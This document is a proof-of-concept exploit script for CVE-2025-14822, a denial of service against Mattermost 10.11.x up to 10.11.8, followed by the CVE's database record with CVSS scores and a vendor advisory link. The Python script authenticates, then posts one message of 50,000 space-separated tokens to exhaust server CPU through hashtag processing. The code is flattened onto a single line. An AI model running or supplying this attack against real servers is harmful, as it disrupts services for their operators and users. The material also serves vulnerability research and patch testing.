CVE-2025-14822

import requests import time # CVE-2025-14822 PoC - Mattermost DoS via hashtag processing # Target: Mattermost <= 10.11.8 # Authentication required with posting privileges TARGET_URL = "https://mattermost.example.com" USERNAME = "[email protected]" PASSWORD = "password123" TEAM_ID = "your-team-id" CHANNEL_ID = "your-channel-id" def login(session): """Authenticate to Mattermost""" login_url = f"{TARGET_URL}/api/v4/users/login" payload = { "login_id": USERNAME, "password": PASSWORD } response = session.post(login_url, json=payload) if response.status_code == 200: return response.headers.get('Token') return None def create_malicious_post(session, token): """Create post with thousands of space-separated tokens to exhaust CPU""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Generate thousands of space-separated tokens to trigger hashtag processing # This causes CPU exhaustion due to unvalidated input size num_tokens = 50000 malicious_content = " ".join([f"token{i}" for i in range(num_tokens)]) post_url = f"{TARGET_URL}/api/v4/posts" payload = { "channel_id": CHANNEL_ID, "message": malicious_content } response = session.post(post_url, headers=headers, json=payload) return response.status_code def main(): session = requests.Session() print("[*] Logging in to Mattermost...") token = login(session) if not token: print("[-] Authentication failed") return print("[+] Authentication successful") print("[*] Sending malicious post with 50,000 tokens...") status = create_malicious_post(session, token) if status == 201: print("[+] Malicious post created successfully") print("[*] Server CPU should now be exhausted") else: print(f"[-] Post creation failed with status: {status}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-14822", "sourceIdentifier": "[email protected]", "published": "2026-01-16T09:16:01.460", "lastModified": "2026-01-20T15:11:19.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.8 fail to validate input size before processing hashtags which allows an authenticated attacker to exhaust CPU resources via a single HTTP request containing a post with thousands space-separated tokens"}, {"lang": "es", "value": "Las versiones de Mattermost 10.11.x &lt;= 10.11.8 no validan el tamaño de la entrada antes de procesar los hashtags, lo que permite a un atacante autenticado agotar los recursos de la CPU a través de una única solicitud HTTP que contiene una publicación con miles de tokens separados por espacios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-407"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.9", "matchCriteriaId": "2C87F454-776F-471C-8719-3434C715A1AC"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}